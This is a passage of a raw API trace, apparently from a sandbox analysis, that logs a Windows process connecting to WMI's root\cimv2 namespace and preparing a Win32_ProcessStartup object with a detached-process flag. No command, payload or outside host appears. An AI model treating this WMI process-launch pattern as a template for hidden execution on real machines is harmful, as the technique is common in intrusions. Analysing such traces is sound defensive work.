[5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0089.042] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0089.042] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0089.042] IUnknown:Release (This=0x111f638) returned 0x1 [0089.044] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1c001f20) returned 0x0 [0089.044] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c001f20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0089.045] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c001f20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1bea08f0) returned 0x0 [0089.045] WbemDefPath:IUnknown:Release (This=0x1c001f20) returned 0x0 [0089.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1bea08f0) returned 0x0 [0089.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0089.045] WbemDefPath:IUnknown:AddRef (This=0x1bea08f0) returned 0x3 [0089.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0089.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0089.045] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1c001f60) returned 0x0 [0089.045] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c001f60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0089.045] WbemDefPath:IUnknown:Release (This=0x1c001f60) returned 0x3 [0089.045] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0089.046] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0089.046] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0089.046] WbemDefPath:IUnknown:Release (This=0x1bea08f0) returned 0x2 [0089.046] WbemDefPath:IUnknown:Release (This=0x1bea08f0) returned 0x1 [0089.046] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0089.046] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0089.046] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea08f0, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bea08f0) returned 0x0 [0089.046] WbemDefPath:IUnknown:AddRef (This=0x1bea08f0) returned 0x3 [0089.046] WbemDefPath:IUnknown:Release (This=0x1bea08f0) returned 0x2 [0089.046] WbemDefPath:IWbemPath:SetText (This=0x1bea08f0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0089.046] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea08f0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0089.046] WbemDefPath:IWbemPath:GetText (in: This=0x1bea08f0, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0089.046] WbemDefPath:IWbemPath:GetText (in: This=0x1bea08f0, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0089.046] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0089.046] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0089.046] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0089.046] IUnknown:Release (This=0x111f638) returned 0x1 [0089.047] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1c001c80) returned 0x0 [0089.048] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001c80, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0089.048] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c001c80, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1c001ca0) returned 0x0 [0089.048] WbemLocator:IUnknown:Release (This=0x1c001c80) returned 0x0 [0089.048] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001ca0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1c001ca0) returned 0x0 [0089.048] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001ca0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0089.048] WbemLocator:IUnknown:AddRef (This=0x1c001ca0) returned 0x3 [0089.048] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001ca0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0089.048] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001ca0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0089.048] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001ca0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0089.048] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0089.049] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0089.049] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001ca0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0089.049] WbemLocator:IUnknown:Release (This=0x1c001ca0) returned 0x2 [0089.049] WbemLocator:IUnknown:Release (This=0x1c001ca0) returned 0x1 [0089.049] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0089.049] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0089.049] WbemLocator:IUnknown:QueryInterface (in: This=0x1c001ca0, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1c001ca0) returned 0x0 [0089.049] WbemLocator:IUnknown:AddRef (This=0x1c001ca0) returned 0x3 [0089.049] WbemLocator:IUnknown:Release (This=0x1c001ca0) returned 0x2 [0089.049] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea08f0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0089.049] WbemDefPath:IWbemPath:GetText (in: This=0x1bea08f0, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0089.049] WbemDefPath:IWbemPath:GetText (in: This=0x1bea08f0, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0089.049] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1c001cc0) returned 0x0 [0089.049] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c001cc0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bf53c90) returned 0x0 [0089.440] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf53c90, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11dfea0) returned 0x0 [0089.441] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11dfea0, pProxy=0x1bf53c90, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0089.441] WbemLocator:IUnknown:Release (This=0x11dfea0) returned 0x1 [0089.441] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf53c90, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11dfee0) returned 0x0 [0089.441] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf53c90, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11dfea0) returned 0x0 [0089.441] WbemLocator:IClientSecurity:SetBlanket (This=0x11dfea0, pProxy=0x1bf53c90, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0089.441] WbemLocator:IUnknown:Release (This=0x11dfea0) returned 0x2 [0089.441] WbemLocator:IUnknown:Release (This=0x11dfee0) returned 0x1 [0089.441] CoTaskMemFree (pv=0x1bf3ca70) [0089.441] WbemLocator:IUnknown:AddRef (This=0x1bf53c90) returned 0x2 [0089.441] WbemLocator:IUnknown:Release (This=0x1c001cc0) returned 0x0 [0089.442] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0089.442] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0089.442] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf53c90, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11dfeb0) returned 0x0 [0089.442] WbemLocator:IRpcOptions:Query (in: This=0x11dfeb0, pPrx=0x1c001c20, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0089.442] WbemLocator:IUnknown:Release (This=0x11dfeb0) returned 0x2 [0089.442] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0089.442] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0089.442] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf53c90, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bf53c90) returned 0x0 [0089.442] WbemLocator:IUnknown:Release (This=0x1bf53c90) returned 0x2 [0089.442] SysStringLen (param_1=0x0) returned 0x0 [0089.442] WbemDefPath:IWbemPath:GetText (in: This=0x1bea09b0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0089.442] WbemDefPath:IWbemPath:GetText (in: This=0x1bea09b0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0089.443] IWbemServices:GetObject (in: This=0x1bf53c90, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x11ee300, ppCallResult=0x0) returned 0x0 [0089.445] IWbemClassObject:Get (in: This=0x11ee300, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0089.445] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0089.446] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0089.446] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0089.446] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0089.446] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0089.446] IUnknown:Release (This=0x111f638) returned 0x1 [0089.448] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1c001cc0) returned 0x0 [0089.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c001cc0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0089.448] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c001cc0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bea0770) returned 0x0 [0089.448] WbemDefPath:IUnknown:Release (This=0x1c001cc0) returned 0x0 [0089.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bea0770) returned 0x0 [0089.448] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0089.448] WbemDefPath:IUnknown:AddRef (This=0x1bea0770) returned 0x3 [0089.449] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0089.449] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0089.449] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1c001be0) returned 0x0 [0089.449] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c001be0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0089.449] WbemDefPath:IUnknown:Release (This=0x1c001be0) returned 0x3 [0089.449] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0089.449] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0089.449] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0089.449] WbemDefPath:IUnknown:Release (This=0x1bea0770) returned 0x2 [0089.449] WbemDefPath:IUnknown:Release (This=0x1bea0770) returned 0x1 [0089.449] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0089.449] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0089.449] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0770, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bea0770) returned 0x0 [0089.449] WbemDefPath:IUnknown:AddRef (This=0x1bea0770) returned 0x3 [0089.449] WbemDefPath:IUnknown:Release (This=0x1bea0770) returned 0x2 [0089.449] WbemDefPath:IWbemPath:SetText (This=0x1bea0770, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0089.449] IWbemClassObject:Get (in: This=0x11ee300, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a05b70*=0, plFlavor=0x2a05b74*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a05b70*=19, plFlavor=0x2a05b74*=0) returned 0x0 [0089.449] IWbemClassObject:Get (in: This=0x11ee300, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a05b70*=19, plFlavor=0x2a05b74*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a05b70*=19, plFlavor=0x2a05b74*=0) returned 0x0 [0089.450] IWbemClassObject:Put (This=0x11ee300, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0089.450] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0a70, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0089.450] WbemDefPath:IWbemPath:GetNamespaceCount (in: 